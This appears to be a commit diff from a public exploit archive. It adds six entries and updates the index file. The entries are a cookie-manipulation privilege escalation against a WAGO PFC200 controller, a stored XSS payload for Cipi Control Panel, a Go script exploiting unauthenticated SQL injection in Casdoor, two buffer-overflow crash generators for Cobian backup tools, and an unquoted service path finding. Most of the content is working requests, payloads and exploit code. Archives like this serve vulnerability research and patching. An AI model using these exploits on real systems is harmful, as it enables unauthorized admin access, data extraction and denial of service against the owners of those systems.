DB: 2022-03-01
6 changes to exploits/shellcodes Cobian Reflector 0.9.93 RC1 - 'Password' Denial of Service (PoC) Cobian Backup 11 Gravity 11.2.0.582 - 'Password' Denial of Service (PoC) Cobian Backup Gravity 11.2.0.582 - 'CobianBackup11' Unquoted Service Path WAGO 750-8212 PFC200 G2 2ETH RS - Privilege Escalation Cipi Control Panel 3.1.15 - Stored Cross-Site Scripting (XSS) (Authenticated) Casdoor 1.13.0 - SQL Injection (Unauthenticated)
This commit is contained in:
Offensive Security
parent
d0f0ae746a
commit
bba496461e
7 changed files with 239 additions and 0 deletions
37
exploits/hardware/remote/50793.txt
Normal file
37
exploits/hardware/remote/50793.txt
Normal file
|
|
@ -0,0 +1,37 @@
|
|||
# Exploit Title: WAGO 750-8212 PFC200 G2 2ETH RS Privilege Escalation
|
||||
# Date: 02/16/2022
|
||||
# Exploit Author: Momen Eldawakhly (Cyber Guy) at Cypro AB
|
||||
# Vendor Homepage: https://www.wago.com
|
||||
# Version: Firmware version 03.05.10(17)
|
||||
# Tested on: PopOS! [Linux](Firefox)
|
||||
# CVE : CVE-2021-46388
|
||||
|
||||
========================================
|
||||
= The ordinary user privilege request:
|
||||
========================================
|
||||
|
||||
GET /wbm/ HTTP/1.1
|
||||
Host: 192.168.1.1
|
||||
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
|
||||
Accept: */*
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
DNT: 1
|
||||
Connection: close
|
||||
Referer: http://192.168.1.1/wbm/
|
||||
Cookie: NG_WBM_SESSION=qru3ocrpde79m5f73526i65uv5; user={%22name%22:%22user%22%2C%22roles%22:[%22user%22%2C%22guest%22]%2C%22hasDefaultPassword%22:true%2C%22csrf%22:%22U2fJfixrfWtLEbVFL6b71oou1yk1WqKTsdFo52yavqrTF86f%22%2C%22timestamp%22:1642368720673%2C%22sessionExists%22:true}
|
||||
|
||||
==========================================
|
||||
= Manipulated Cookie to Admin Privilege:
|
||||
==========================================
|
||||
|
||||
GET /wbm/ HTTP/1.1
|
||||
Host: 192.168.1.1
|
||||
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
|
||||
Accept: */*
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
DNT: 1
|
||||
Connection: close
|
||||
Referer: http://192.168.1.1/wbm/
|
||||
Cookie: NG_WBM_SESSION=qru3ocrpde79m5f73526i65uv5; user={%22name%22:%22admin%22%2C%22roles%22:[%22admin%22%2C%22admin%22]%2C%22hasDefaultPassword%22:true%2C%22csrf%22:%22U2fJfixrfWtLEbVFL6b71oou1yk1WqKTsdFo52yavqrTF86f%22%2C%22timestamp%22:1642369499829%2C%22sessionExists%22:true}
|
||||
32
exploits/linux/webapps/50788.txt
Normal file
32
exploits/linux/webapps/50788.txt
Normal file
|
|
@ -0,0 +1,32 @@
|
|||
# Exploit Title: Cipi Control Panel 3.1.15 - Stored Cross-Site Scripting (XSS) (Authenticated)
|
||||
# Date: 24.02.2022
|
||||
# Exploit Author: Fikrat Ghuliev (Ghuliev)
|
||||
# Vendor Homepage: https://cipi.sh/ <https://www.aapanel.com/>
|
||||
# Software Link: https://cipi.sh/ <https://www.aapanel.com/>
|
||||
# Version: 3.1.15
|
||||
# Tested on: Ubuntu
|
||||
|
||||
When the user wants to add a new server on the "Server" panel, in "name"
|
||||
parameter has not had any filtration.
|
||||
|
||||
POST /api/servers HTTP/1.1
|
||||
Host: IP
|
||||
Content-Length: 102
|
||||
Accept: application/json
|
||||
X-Requested-With: XMLHttpRequest
|
||||
Authorization: Bearer
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
|
||||
(KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
|
||||
Content-Type: application/json
|
||||
Origin: http://IP
|
||||
Referer: http://IP/servers
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: en-US,en;q=0.9
|
||||
Connection: close
|
||||
|
||||
{
|
||||
"name":"\"><script>alert(1337)</script>",
|
||||
"ip":"10.10.10.10",
|
||||
"provider":"local",
|
||||
"location":"xss test"
|
||||
}
|
||||
71
exploits/multiple/webapps/50792.go
Executable file
71
exploits/multiple/webapps/50792.go
Executable file
|
|
@ -0,0 +1,71 @@
|
|||
// Exploit Title: Casdoor 1.13.0 - SQL Injection (Unauthenticated)
|
||||
// Date: 2022-02-25
|
||||
// Exploit Author: Mayank Deshmukh
|
||||
// Vendor Homepage: https://casdoor.org/
|
||||
// Software Link: https://github.com/casdoor/casdoor/releases/tag/v1.13.0
|
||||
// Version: version < 1.13.1
|
||||
// Security Advisory: https://github.com/advisories/GHSA-m358-g4rp-533r
|
||||
// Tested on: Kali Linux
|
||||
// CVE : CVE-2022-24124
|
||||
// Github POC: https://github.com/ColdFusionX/CVE-2022-24124
|
||||
|
||||
// Exploit Usage : go run exploit.go -u http://127.0.0.1:8080
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"fmt"
|
||||
"html"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"os"
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func main() {
|
||||
var url string
|
||||
flag.StringVar(&url, "u", "", "Casdoor URL (ex. http://127.0.0.1:8080)")
|
||||
flag.Parse()
|
||||
|
||||
banner := `
|
||||
-=Casdoor SQL Injection (CVE-2022-24124)=-
|
||||
- by Mayank Deshmukh (ColdFusionX)
|
||||
|
||||
`
|
||||
fmt.Printf(banner)
|
||||
fmt.Println("[*] Dumping Database Version")
|
||||
response, err := http.Get(url + "/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(null,version(),null)")
|
||||
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
defer response.Body.Close()
|
||||
|
||||
databytes, err := ioutil.ReadAll(response.Body)
|
||||
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
content := string(databytes)
|
||||
|
||||
re := regexp.MustCompile("(?i)(XPATH syntax error.*')")
|
||||
|
||||
result := re.FindAllString(content, -1)
|
||||
|
||||
sqliop := fmt.Sprint(result)
|
||||
replacer := strings.NewReplacer("[", "", "]", "", "'", "", ";", "")
|
||||
|
||||
finalop := replacer.Replace(sqliop)
|
||||
fmt.Println(html.UnescapeString(finalop))
|
||||
|
||||
|
||||
if result == nil {
|
||||
fmt.Printf("Application not vulnerable\n")
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
}
|
||||
29
exploits/windows/local/50789.py
Executable file
29
exploits/windows/local/50789.py
Executable file
|
|
@ -0,0 +1,29 @@
|
|||
# Exploit Title: Cobian Reflector 0.9.93 RC1 - 'Password' Denial of Service (PoC)
|
||||
# Discovery by: Luis Martinez
|
||||
# Discovery Date: 2022-02-16
|
||||
# Vendor Homepage: https://www.cobiansoft.com/
|
||||
# Software Link: https://files.cobiansoft.com/programs/crSetup-0.9.93-RC1.exe
|
||||
# Tested Version: 0.9.93 RC1
|
||||
# Vulnerability Type: Denial of Service (DoS) Local
|
||||
# Tested on OS: Windows 10 Pro x64 es
|
||||
|
||||
# Steps to Produce the Crash:
|
||||
# 1.- Run python code: Cobian_Reflector_0.9.93_RC1.py
|
||||
# 2.- Open Cobian_Reflector_0.9.93_RC1.txt and copy content to clipboard
|
||||
# 3.- Open "Cobian Reflector User Interface"
|
||||
# 4.- Task -> "New task"
|
||||
# 5.- Files -> Source "Add" -> SFTP
|
||||
# 6.- Host -> 10.10.10.10
|
||||
# 7.- Port-> 22
|
||||
# 8.- User name -> admin
|
||||
# 9.- Paste ClipBoard on "Password"
|
||||
# 10.- Test settings
|
||||
# 11.- Yes
|
||||
# 12.- Crashed
|
||||
|
||||
#!/usr/bin/env python
|
||||
|
||||
buffer = "\x41" * 8000
|
||||
f = open ("Cobian_Reflector_0.9.93_RC1.txt", "w")
|
||||
f.write(buffer)
|
||||
f.close()
|
||||
28
exploits/windows/local/50790.py
Executable file
28
exploits/windows/local/50790.py
Executable file
|
|
@ -0,0 +1,28 @@
|
|||
# Exploit Title: Cobian Backup 11 Gravity 11.2.0.582 - 'Password' Denial of Service (PoC)
|
||||
# Discovery by: Luis Martinez
|
||||
# Discovery Date: 2022-02-16
|
||||
# Vendor Homepage: https://www.cobiansoft.com/
|
||||
# Software Link: https://files.cobiansoft.com/programs/cbSetup.exe
|
||||
# Tested Version: 11.2.0.582
|
||||
# Vulnerability Type: Denial of Service (DoS) Local
|
||||
# Tested on OS: Windows 10 Pro x64 es
|
||||
|
||||
# Steps to Produce the Crash:
|
||||
# 1.- Run python code: Cobian_Backup_11.2.0.582.py
|
||||
# 2.- Open Cobian_Backup_11.2.0.582.txt and copy content to clipboard
|
||||
# 3.- Open "Cobian Backup 11 Gravity User Interface"
|
||||
# 4.- Task -> "New task"
|
||||
# 5.- File -> Source "Add" -> FTP
|
||||
# 6.- Host -> 10.10.10.10
|
||||
# 7.- Port-> 21
|
||||
# 8.- User name -> admin
|
||||
# 9.- Paste ClipBoard on "Password"
|
||||
# 10.- Ok
|
||||
# 11.- Crashed
|
||||
|
||||
#!/usr/bin/env python
|
||||
|
||||
buffer = "\x41" * 800
|
||||
f = open ("Cobian_Backup_11.2.0.582.txt", "w")
|
||||
f.write(buffer)
|
||||
f.close()
|
||||
36
exploits/windows/local/50791.txt
Normal file
36
exploits/windows/local/50791.txt
Normal file
|
|
@ -0,0 +1,36 @@
|
|||
# Exploit Title: Cobian Backup Gravity 11.2.0.582 - 'CobianBackup11' Unquoted Service Path
|
||||
# Discovery by: Luis Martinez
|
||||
# Discovery Date: 2022-02-24
|
||||
# Vendor Homepage: https://www.cobiansoft.com/
|
||||
# Software Link : https://files.cobiansoft.com/programs/cbSetup.exe
|
||||
# Tested Version: 11.2.0.582
|
||||
# Vulnerability Type: Unquoted Service Path
|
||||
# Tested on OS: Windows 10 Pro x64 es
|
||||
|
||||
# Step to discover Unquoted Service Path:
|
||||
|
||||
C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "Gravity " | findstr /i /v """
|
||||
|
||||
|
||||
Cobian Backup 11 Gravity CobianBackup11 C:\Program Files (x86)\Cobian Backup 11\cbService.exe Auto
|
||||
|
||||
|
||||
# Service info:
|
||||
|
||||
C:\>sc qc CobianBackup11
|
||||
[SC] QueryServiceConfig SUCCESS
|
||||
|
||||
SERVICE_NAME: CobianBackup11
|
||||
TYPE : 10 WIN32_OWN_PROCESS
|
||||
START_TYPE : 2 AUTO_START
|
||||
ERROR_CONTROL : 1 NORMAL
|
||||
BINARY_PATH_NAME : C:\Program Files (x86)\Cobian Backup 11\cbService.exe
|
||||
LOAD_ORDER_GROUP :
|
||||
TAG : 0
|
||||
DISPLAY_NAME : Cobian Backup 11 Gravity
|
||||
DEPENDENCIES :
|
||||
SERVICE_START_NAME : LocalSystem
|
||||
|
||||
#Exploit:
|
||||
|
||||
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
|
||||
|
|
@ -11454,6 +11454,9 @@ id,file,description,date,author,type,platform,port
|
|||
50773,exploits/hardware/local/50773.sh,"Cyclades Serial Console Server 3.3.0 - Local Privilege Escalation",1970-01-01,ibby,local,hardware,
|
||||
50776,exploits/windows/local/50776.txt,"Microsoft Gaming Services 2.52.13001.0 - Unquoted Service Path",1970-01-01,"Johto Robbie",local,windows,
|
||||
50787,exploits/windows/local/50787.txt,"Wondershare MirrorGo 2.0.11.346 - Insecure File Permissions",1970-01-01,"Luis Martínez",local,windows,
|
||||
50789,exploits/windows/local/50789.py,"Cobian Reflector 0.9.93 RC1 - 'Password' Denial of Service (PoC)",1970-01-01,"Luis Martínez",local,windows,
|
||||
50790,exploits/windows/local/50790.py,"Cobian Backup 11 Gravity 11.2.0.582 - 'Password' Denial of Service (PoC)",1970-01-01,"Luis Martínez",local,windows,
|
||||
50791,exploits/windows/local/50791.txt,"Cobian Backup Gravity 11.2.0.582 - 'CobianBackup11' Unquoted Service Path",1970-01-01,"Luis Martínez",local,windows,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",1970-01-01,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",1970-01-01,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",1970-01-01,"Marcin Wolak",remote,windows,139
|
||||
|
|
@ -18626,6 +18629,7 @@ id,file,description,date,author,type,platform,port
|
|||
50290,exploits/multiple/remote/50290.as,"Adobe Flash Player - Integer Overflow",1970-01-01,ryujin,remote,multiple,
|
||||
50781,exploits/windows/remote/50781.txt,"Adobe ColdFusion 11 - LDAP Java Object Deserialization Remode Code Execution (RCE)",1970-01-01,"Amel BOUZIANE-LEBLOND",remote,windows,
|
||||
50783,exploits/hardware/remote/50783.py,"ICL ScadaFlex II SCADA Controllers SC-1/SC-2 1.03.07 - Remote File CRUD",1970-01-01,LiquidWorm,remote,hardware,
|
||||
50793,exploits/hardware/remote/50793.txt,"WAGO 750-8212 PFC200 G2 2ETH RS - Privilege Escalation",1970-01-01,"Momen Eldawakhly",remote,hardware,
|
||||
6,exploits/php/webapps/6.php,"WordPress Core 2.0.2 - 'cache' Remote Shell Injection",1970-01-01,rgod,webapps,php,
|
||||
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",1970-01-01,"Rick Patel",webapps,php,
|
||||
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",1970-01-01,Spoofed,webapps,php,
|
||||
|
|
@ -44857,3 +44861,5 @@ id,file,description,date,author,type,platform,port
|
|||
50784,exploits/php/webapps/50784.py,"WebHMI 4.1.1 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,"Antonio Cuomo",webapps,php,
|
||||
50785,exploits/php/webapps/50785.txt,"WebHMI 4.1 - Stored Cross Site Scripting (XSS) (Authenticated)",1970-01-01,"Antonio Cuomo",webapps,php,
|
||||
50786,exploits/php/webapps/50786.rb,"Microweber CMS 1.2.10 - Local File Inclusion (Authenticated) (Metasploit)",1970-01-01,"Talha Karakumru",webapps,php,
|
||||
50788,exploits/linux/webapps/50788.txt,"Cipi Control Panel 3.1.15 - Stored Cross-Site Scripting (XSS) (Authenticated)",1970-01-01,Ghuliev,webapps,linux,
|
||||
50792,exploits/multiple/webapps/50792.go,"Casdoor 1.13.0 - SQL Injection (Unauthenticated)",1970-01-01,"Mayank Deshmukh",webapps,multiple,
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue